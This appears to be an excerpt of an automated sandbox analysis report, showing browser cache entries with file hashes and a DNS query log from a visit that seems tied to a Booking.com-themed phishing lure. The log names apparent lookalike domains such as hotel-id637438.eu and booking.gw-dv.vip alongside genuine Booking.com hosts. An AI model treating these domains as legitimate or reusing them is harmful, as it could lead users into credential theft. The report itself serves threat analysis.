Preview:	/* Created: 2024/07/08 12:19:23 UTC version: next */(()=>{"use strict";var e={648:(e,t,a)=>{a.d(t,{FF:()=>c,NI:()=>s,SW:()=>i,fH:()=>l,vV:()=>d});const r={info:"info::",error:"error::",warning:"warning::",verbose:"verbose::",success:"success::"},n={allowed:document.cookie.indexOf("abTastyDebug=")>=0};function o(e,t,a){if(function(){const e=!window.abTastyStopLog;return(n.allowed\|\|window.abTastyDebug)&&e}()){for(var r=arguments.length,o=new Array(r>3?r-3:0),i=3;i<r;i++)o[i-3]=arguments[i];t(`%c [AB Tasty Debug mode] %c ${e}`,"background: #222; color: #bada55; padding: 3px; border-radius: 5px 0px 0px 5px;",`${a} padding: 3px; border-radius: 0px 5px 5px 0px;`,...o)}}function i(){for(var e=arguments.length,t=new Array(e),a=0;a<e;a++)t[a]=arguments[a];o(r.success,console.info,"background: green; color: white;",...t)}function c(){for(var e=arguments.length,t=new Array(e),a=0;a<e;a++)t[a]=arguments[a];o(r.warning,console.warn,"background: orange; color: white;",...t)}function s(){for(var e=ar

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (22750)
Category:	downloaded
Size (bytes):	282865
Entropy (8bit):	4.899062832351144
Encrypted:	false
SSDEEP:	3072:0gxbQpQRFhJBUa3cAhg1ROmUa3cAhg1RO7Ua3cAhg1ROlFNz0QZF55:vFhJylArlAglAtB
MD5:	BA04B6067BEFABA2A4C5FF7288D89200
SHA1:	A8037672EB968E247DD45379B8CF9E64E041971B
SHA-256:	33F3B256B83212C7EF9A458408B00DF9ECA6B62489747420A4C6851B26AFC482
SHA-512:	A94FB97A3CB273C3C9F4DCE2946A7E4EF41B5997B3285EB7E60264B9CFF47B1BFB6D9F75F5860B910192DE76EA5D4B8921113C22C6EC8EEFFCFA670169DB5700
Malicious:	false
Reputation:	low
URL:	https://account.booking.com/register?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg
Preview:	.<!DOCTYPE html>.<html class="no-js" lang="en-us">.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.. <script nonce="jIFLp1YATtqHZ3D">. .(function( win, doc ) {.. var errors = [],. errorCount = 0,. canParse = (function() {}).toString && /bkg/.test( function() { bkg; } );.. var NOW,. UNDEF;.. var LAST_CLIENT_EVENT;.. var SERVER_ASKED_TO_BLOCK = readCookie( 'error_catcher' ) === 'kill';.. var SHOULD_BLOCK = function( error ) {.. return SERVER_ASKED_TO_BLOCK \|\| error.index > 2;.. };.. var ERROR_TRANSPORT = {.. URL: '/js_errors',. METHOD: 'POST',. MAX_STACK_LINES: 12,. MAX_STACK_LENGTH: 900,. MAX_FUNCTION_BODY_LENGTH: 150,. STACK_TRUNCATED_TEXT: '(... truncated!)',.. SEND_ONLY_IF: function() {.. return !!doc.getElementById( 'req_info' );.. },.. IS_BOT: function( message ) {.. return getKey( '$u.b01' ) \|\| getKey( 'booking_extra.b

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1162 x 500, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	24975
Entropy (8bit):	7.95892057840112
Encrypted:	false
SSDEEP:	768:SomPY0wLo8HJdbyEZUNq+m2HAln9B31P3uoQbahw:fIY0eo0bF+fHWtQ2hw
MD5:	098B78C1B3D1D397B165FE7BB37797F8
SHA1:	F1ABE358DF695CAD218539B5E80A3B950DFE3CE9
SHA-256:	5F7D72F915EA70ADBFA94FB81D402673E075D380AB80E542E1CC4AC88C23BBA1
SHA-512:	EA2372E00887E83D5620D576540A44ED1ED256FEDB58BC80A4CB092EB64B999A1E1F9A34BC8948E2B8012D3E51B9E5FE178F7C9EC32980A82022B837E98568B7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............e.6.....PLTEGpLVAD..~.{}..{............CG=...!#.....`J....................VBC.sd%4.6..D1#^G3ki`...................................n.N.{b.hC..x.....}N-........t@p8.....Y+..[TN....y..yZ'..d0.............zk]4-%87........"..7LV............x.....G_h..............g.V..}.......F-.......C.w.`Y;3.k8.gU..v............T.yp...UO.......D..............[-.{...tTP.if...thW......\|H.>A......e.....w......'....v.y..\|.sg.....J...sfs..U....q..\|..n.]Zq..9W.[T..}L=58GOL[tof..bW.)?C=KdH6fb[L85.aA.GJ.2Q.r-'$<%!m.5..26.W.....%..hF=.1,.#L.,W,)3F(!,.....E/)8.....8..0I..'-U3.G.........4.{2.6Om.Mr.E..Su.t..Adqq..En...Z^s.]..L#...h&.~.A......l?4._..........Q.......bK.D8....\...._.."8d...Su.<\........m.....LN.........oV.)............v..^.g.@D`-l.......tRNS....................8..............'...J.........M......d.....p................................1.P..........lE...............v.......m..................................R....

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HKmn:qmn
MD5:	EC331136E75314D2030EE013B6069921
SHA1:	6B7428B8B15616A67F767D42964AF94FCBE2A803
SHA-256:	A7358DF6B7B60280F2A0D7CD5B70A9F1DFA4FCE5C31FB1A24FB2F109AF7EE977
SHA-512:	30C9B411C937F7D3DE9E59D8BE1CDE4F262B05C6AC2EC2D2C1956E705FE255D84DE17913826A0378B7FD4E51E075EE72A6BF16B870BF78B83D4F1D4507A44278
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAngSzoMdcKapxIFDQbtu_8=?alt=proto
Preview:	CgkKBw0G7bv/GgA=

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.150232349540528
Encrypted:	false
SSDEEP:	3:YRc8fBAgJVJfHjDrXKlyAwlfHbTKSMh:YxnRDDrbPKSE
MD5:	AA06ED13ABA3B8794A6B08C97690BE10
SHA1:	D33973099AAB36E3D31776FC2CFA5813F3E01682
SHA-256:	776884509E2EAA210894BAA49945B7AD8A02026ADC657E276F724AF7E8544374
SHA-512:	89E907DEA8FF569ECC8E54840A3553623585EE84D1FE285DC62427C2BD5DA0EFFE05436C6C8A28389A620D5FF248ADC42B92332E7B847BD0202C1A3A0C1B154A
Malicious:	false
Reputation:	low
URL:	https://dcinfos-cache.abtasty.com/v1/ua-parser
Preview:	{"type":"Desktop","os":{"name":"Windows"},"browser":{"name":"Chrome","version":"117"}}

Static File Info

⊘No static file info

Network Behavior

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 9, 2024 00:43:24.591377974 CEST	192.168.2.6	1.1.1.1	0x5dfa	Standard query (0)	hotel-id637438.eu	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:24.591502905 CEST	192.168.2.6	1.1.1.1	0x8951	Standard query (0)	hotel-id637438.eu	65	IN (0x0001)	false
Jul 9, 2024 00:43:26.470510960 CEST	192.168.2.6	1.1.1.1	0x708	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:26.471263885 CEST	192.168.2.6	1.1.1.1	0xa52c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:26.516218901 CEST	192.168.2.6	1.1.1.1	0x48d8	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:26.516674042 CEST	192.168.2.6	1.1.1.1	0x662f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:27.055571079 CEST	192.168.2.6	1.1.1.1	0xb43b	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:27.056235075 CEST	192.168.2.6	1.1.1.1	0xfa43	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:27.201225996 CEST	192.168.2.6	1.1.1.1	0x1c29	Standard query (0)	t-cf.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:27.201574087 CEST	192.168.2.6	1.1.1.1	0xf6ad	Standard query (0)	t-cf.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:28.631314039 CEST	192.168.2.6	1.1.1.1	0xc93a	Standard query (0)	hotel-id637438.eu	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:28.631603956 CEST	192.168.2.6	1.1.1.1	0xe6d7	Standard query (0)	hotel-id637438.eu	65	IN (0x0001)	false
Jul 9, 2024 00:43:29.370069981 CEST	192.168.2.6	1.1.1.1	0x81e5	Standard query (0)	www.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:29.370794058 CEST	192.168.2.6	1.1.1.1	0x596f	Standard query (0)	www.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:29.687707901 CEST	192.168.2.6	1.1.1.1	0x7fde	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:29.687985897 CEST	192.168.2.6	1.1.1.1	0xfcf9	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:29.841103077 CEST	192.168.2.6	1.1.1.1	0xb590	Standard query (0)	h.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:29.841856956 CEST	192.168.2.6	1.1.1.1	0x4346	Standard query (0)	h.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:30.802077055 CEST	192.168.2.6	1.1.1.1	0xa074	Standard query (0)	h.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:30.802474022 CEST	192.168.2.6	1.1.1.1	0xc2e7	Standard query (0)	h.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:30.896012068 CEST	192.168.2.6	1.1.1.1	0xd75f	Standard query (0)	h64.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:30.896140099 CEST	192.168.2.6	1.1.1.1	0x758e	Standard query (0)	h64.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:31.149318933 CEST	192.168.2.6	1.1.1.1	0xabc5	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:31.149521112 CEST	192.168.2.6	1.1.1.1	0xa5c1	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:31.497690916 CEST	192.168.2.6	1.1.1.1	0x4130	Standard query (0)	doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:31.498341084 CEST	192.168.2.6	1.1.1.1	0x8239	Standard query (0)	doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:32.064299107 CEST	192.168.2.6	1.1.1.1	0xeda8	Standard query (0)	www.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.064721107 CEST	192.168.2.6	1.1.1.1	0x34fa	Standard query (0)	www.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:32.294969082 CEST	192.168.2.6	1.1.1.1	0xec8c	Standard query (0)	aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.295348883 CEST	192.168.2.6	1.1.1.1	0x92e2	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:32.318938017 CEST	192.168.2.6	1.1.1.1	0xff8b	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:32.540431976 CEST	192.168.2.6	1.1.1.1	0xb1d1	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:32.600291014 CEST	192.168.2.6	1.1.1.1	0xcdd8	Standard query (0)	booking.ck123.io	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.600476980 CEST	192.168.2.6	1.1.1.1	0x23d	Standard query (0)	booking.ck123.io	65	IN (0x0001)	false
Jul 9, 2024 00:43:32.614671946 CEST	192.168.2.6	1.1.1.1	0xb4d7	Standard query (0)	booking.gw-dv.vip	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.614869118 CEST	192.168.2.6	1.1.1.1	0xa5b6	Standard query (0)	booking.gw-dv.vip	65	IN (0x0001)	false
Jul 9, 2024 00:43:32.633482933 CEST	192.168.2.6	1.1.1.1	0x2e0f	Standard query (0)	ls.cdn-gw-dv.vip	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.633618116 CEST	192.168.2.6	1.1.1.1	0x603	Standard query (0)	ls.cdn-gw-dv.vip	65	IN (0x0001)	false
Jul 9, 2024 00:43:32.835356951 CEST	192.168.2.6	1.1.1.1	0x3e58	Standard query (0)	doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:32.835498095 CEST	192.168.2.6	1.1.1.1	0x5bd6	Standard query (0)	doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:32.998792887 CEST	192.168.2.6	1.1.1.1	0x8dc8	Standard query (0)	aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.076998949 CEST	192.168.2.6	1.1.1.1	0x7de8	Standard query (0)	stun.12voip.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.077167988 CEST	192.168.2.6	1.1.1.1	0x47e5	Standard query (0)	stun.1und1.de	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.077284098 CEST	192.168.2.6	1.1.1.1	0x384c	Standard query (0)	stun.aa.net.uk	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.077471972 CEST	192.168.2.6	1.1.1.1	0x1f8a	Standard query (0)	stun.acrobits.cz	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.077769995 CEST	192.168.2.6	1.1.1.1	0x3aa9	Standard query (0)	stun.actionvoip.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.077994108 CEST	192.168.2.6	1.1.1.1	0x3d9a	Standard query (0)	stun.antisip.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.078322887 CEST	192.168.2.6	1.1.1.1	0x3c1c	Standard query (0)	stun.bluesip.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.078746080 CEST	192.168.2.6	1.1.1.1	0x93a1	Standard query (0)	stun.cablenet-as.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.079140902 CEST	192.168.2.6	1.1.1.1	0x4764	Standard query (0)	stun.callromania.ro	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.079472065 CEST	192.168.2.6	1.1.1.1	0x5066	Standard query (0)	stun.l.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.079767942 CEST	192.168.2.6	1.1.1.1	0x53df	Standard query (0)	stun.tel.lu	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.080141068 CEST	192.168.2.6	1.1.1.1	0xd8a9	Standard query (0)	stun.telbo.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.080476999 CEST	192.168.2.6	1.1.1.1	0xfa63	Standard query (0)	stun.twt.it	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.081312895 CEST	192.168.2.6	1.1.1.1	0xc5e9	Standard query (0)	stun.uls.co.za	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.081635952 CEST	192.168.2.6	1.1.1.1	0x77de	Standard query (0)	stun.usfamily.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.082138062 CEST	192.168.2.6	1.1.1.1	0x7610	Standard query (0)	stun1.l.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.082500935 CEST	192.168.2.6	1.1.1.1	0x363a	Standard query (0)	stun2.l.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.082763910 CEST	192.168.2.6	1.1.1.1	0xaf18	Standard query (0)	stun3.l.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.083441973 CEST	192.168.2.6	1.1.1.1	0x269e	Standard query (0)	stun4.l.google.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.083770990 CEST	192.168.2.6	1.1.1.1	0xc5e8	Standard query (0)	stun.12voip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.084088087 CEST	192.168.2.6	1.1.1.1	0x23e7	Standard query (0)	stun.1und1.de	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.084547997 CEST	192.168.2.6	1.1.1.1	0xe712	Standard query (0)	stun.aa.net.uk	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.084814072 CEST	192.168.2.6	1.1.1.1	0xadb7	Standard query (0)	stun.acrobits.cz	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.085165024 CEST	192.168.2.6	1.1.1.1	0x3ad0	Standard query (0)	stun.actionvoip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.085555077 CEST	192.168.2.6	1.1.1.1	0x9972	Standard query (0)	stun.antisip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.085871935 CEST	192.168.2.6	1.1.1.1	0x9e44	Standard query (0)	stun.bluesip.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.086286068 CEST	192.168.2.6	1.1.1.1	0x4bb9	Standard query (0)	stun.cablenet-as.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.086971045 CEST	192.168.2.6	1.1.1.1	0x411f	Standard query (0)	stun.callromania.ro	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.087292910 CEST	192.168.2.6	1.1.1.1	0x9b1b	Standard query (0)	stun.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.087605000 CEST	192.168.2.6	1.1.1.1	0xb7	Standard query (0)	stun.tel.lu	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.087874889 CEST	192.168.2.6	1.1.1.1	0x1b2b	Standard query (0)	stun.telbo.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.088031054 CEST	192.168.2.6	1.1.1.1	0x7466	Standard query (0)	stun.twt.it	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.088469982 CEST	192.168.2.6	1.1.1.1	0xe4e9	Standard query (0)	stun.uls.co.za	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.089507103 CEST	192.168.2.6	1.1.1.1	0xdc07	Standard query (0)	stun.usfamily.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.089793921 CEST	192.168.2.6	1.1.1.1	0xe77c	Standard query (0)	stun1.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.089904070 CEST	192.168.2.6	1.1.1.1	0x9e97	Standard query (0)	stun2.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.090034008 CEST	192.168.2.6	1.1.1.1	0xb010	Standard query (0)	stun3.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.090292931 CEST	192.168.2.6	1.1.1.1	0xc557	Standard query (0)	stun4.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.092578888 CEST	192.168.2.6	1.1.1.1	0x7aa1	Standard query (0)	stun.12voip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.093894005 CEST	192.168.2.6	1.1.1.1	0x296f	Standard query (0)	stun.aa.net.uk	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.093988895 CEST	192.168.2.6	1.1.1.1	0xc36e	Standard query (0)	stun.acrobits.cz	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.102399111 CEST	192.168.2.6	1.1.1.1	0x2380	Standard query (0)	stun.actionvoip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.103246927 CEST	192.168.2.6	1.1.1.1	0x3203	Standard query (0)	stun.bluesip.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.103399038 CEST	192.168.2.6	1.1.1.1	0xd770	Standard query (0)	stun.1und1.de	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.104806900 CEST	192.168.2.6	1.1.1.1	0xd69d	Standard query (0)	stun.uls.co.za	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.105293989 CEST	192.168.2.6	1.1.1.1	0x20ce	Standard query (0)	stun.telbo.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.105751991 CEST	192.168.2.6	1.1.1.1	0x6141	Standard query (0)	stun.tel.lu	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.107125044 CEST	192.168.2.6	1.1.1.1	0xfd08	Standard query (0)	stun.usfamily.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.107311010 CEST	192.168.2.6	1.1.1.1	0x3bfe	Standard query (0)	stun.callromania.ro	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.108166933 CEST	192.168.2.6	1.1.1.1	0x87a7	Standard query (0)	stun.antisip.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.109004974 CEST	192.168.2.6	1.1.1.1	0x7658	Standard query (0)	stun.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.110093117 CEST	192.168.2.6	1.1.1.1	0xcdce	Standard query (0)	stun1.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.110179901 CEST	192.168.2.6	1.1.1.1	0x7d2f	Standard query (0)	stun2.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.110944986 CEST	192.168.2.6	1.1.1.1	0x5bc4	Standard query (0)	stun3.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.111268997 CEST	192.168.2.6	1.1.1.1	0x2429	Standard query (0)	stun4.l.google.com	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.112052917 CEST	192.168.2.6	1.1.1.1	0x827a	Standard query (0)	stun.twt.it	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.146074057 CEST	192.168.2.6	1.1.1.1	0xa26a	Standard query (0)	stun.cablenet-as.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:33.573564053 CEST	192.168.2.6	1.1.1.1	0xa90e	Standard query (0)	cdn.cookielaw.org	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:33.573693991 CEST	192.168.2.6	1.1.1.1	0xe42e	Standard query (0)	cdn.cookielaw.org	65	IN (0x0001)	false
Jul 9, 2024 00:43:34.275085926 CEST	192.168.2.6	1.1.1.1	0x2f45	Standard query (0)	xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:34.275412083 CEST	192.168.2.6	1.1.1.1	0xa83	Standard query (0)	xx.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:34.473561049 CEST	192.168.2.6	1.1.1.1	0xdfaa	Standard query (0)	booking.gw-dv.vip	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:34.474050045 CEST	192.168.2.6	1.1.1.1	0x6092	Standard query (0)	booking.gw-dv.vip	65	IN (0x0001)	false
Jul 9, 2024 00:43:34.935168982 CEST	192.168.2.6	1.1.1.1	0xbc94	Standard query (0)	booking.ck123.io	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:34.935355902 CEST	192.168.2.6	1.1.1.1	0x3dcc	Standard query (0)	booking.ck123.io	65	IN (0x0001)	false
Jul 9, 2024 00:43:35.035643101 CEST	192.168.2.6	1.1.1.1	0x2c69	Standard query (0)	q.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:35.035921097 CEST	192.168.2.6	1.1.1.1	0xab0	Standard query (0)	q.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:35.993071079 CEST	192.168.2.6	1.1.1.1	0xc13b	Standard query (0)	xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:35.993300915 CEST	192.168.2.6	1.1.1.1	0x6243	Standard query (0)	xx.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:36.529022932 CEST	192.168.2.6	1.1.1.1	0x9dbf	Standard query (0)	collector-pxikkul2rm.px-cloud.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:36.529459953 CEST	192.168.2.6	1.1.1.1	0xe829	Standard query (0)	collector-pxikkul2rm.px-cloud.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:36.738466024 CEST	192.168.2.6	1.1.1.1	0x39f9	Standard query (0)	account.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:36.738717079 CEST	192.168.2.6	1.1.1.1	0xe5c6	Standard query (0)	account.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:37.424868107 CEST	192.168.2.6	1.1.1.1	0xfa5e	Standard query (0)	collector-pxikkul2rm.px-cloud.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:37.425530910 CEST	192.168.2.6	1.1.1.1	0x3939	Standard query (0)	collector-pxikkul2rm.px-cloud.net	65	IN (0x0001)	false
Jul 9, 2024 00:43:38.422914028 CEST	192.168.2.6	1.1.1.1	0x48cf	Standard query (0)	cf.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:38.423079014 CEST	192.168.2.6	1.1.1.1	0x1523	Standard query (0)	cf.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:38.570513010 CEST	192.168.2.6	1.1.1.1	0x8cad	Standard query (0)	cdn.cookielaw.org	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:38.570651054 CEST	192.168.2.6	1.1.1.1	0xa520	Standard query (0)	cdn.cookielaw.org	65	IN (0x0001)	false
Jul 9, 2024 00:43:42.393866062 CEST	192.168.2.6	1.1.1.1	0x89f9	Standard query (0)	www.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:42.394263983 CEST	192.168.2.6	1.1.1.1	0x2e53	Standard query (0)	www.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:42.394655943 CEST	192.168.2.6	1.1.1.1	0x5160	Standard query (0)	saa.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:42.394810915 CEST	192.168.2.6	1.1.1.1	0xc0e0	Standard query (0)	saa.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:43.202332020 CEST	192.168.2.6	1.1.1.1	0xaa73	Standard query (0)	xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.202534914 CEST	192.168.2.6	1.1.1.1	0x747a	Standard query (0)	xx.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:43.212172031 CEST	192.168.2.6	1.1.1.1	0x800f	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.212548971 CEST	192.168.2.6	1.1.1.1	0xa5ba	Standard query (0)	q-xx.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:43.247289896 CEST	192.168.2.6	1.1.1.1	0xa750	Standard query (0)	account.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.247515917 CEST	192.168.2.6	1.1.1.1	0xd647	Standard query (0)	account.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:44.108529091 CEST	192.168.2.6	1.1.1.1	0x25fd	Standard query (0)	d8c14d4960ca.edge.sdk.awswaf.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.108937025 CEST	192.168.2.6	1.1.1.1	0xfb56	Standard query (0)	d8c14d4960ca.edge.sdk.awswaf.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:44.328142881 CEST	192.168.2.6	1.1.1.1	0xe013	Standard query (0)	nellie.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.328501940 CEST	192.168.2.6	1.1.1.1	0xef4b	Standard query (0)	nellie.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:44.353446007 CEST	192.168.2.6	1.1.1.1	0xdeab	Standard query (0)	asanalytics.booking.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.353586912 CEST	192.168.2.6	1.1.1.1	0x6ca7	Standard query (0)	asanalytics.booking.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:44.354248047 CEST	192.168.2.6	1.1.1.1	0x3586	Standard query (0)	t-cf.bstatic.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.354491949 CEST	192.168.2.6	1.1.1.1	0x38e4	Standard query (0)	t-cf.bstatic.com	65	IN (0x0001)	false
Jul 9, 2024 00:43:44.362354994 CEST	192.168.2.6	1.1.1.1	0xb8d8	Standard query (0)	aa.online-metrix.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.363009930 CEST	192.168.2.6	1.1.1.1	0xdc91	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
Jul 9, 2024 00:43:44.375894070 CEST	192.168.2.6	1.1.1.1	0xfd69	Standard query (0)	aa.online-metrix.net	28	IN (0x0001)	false
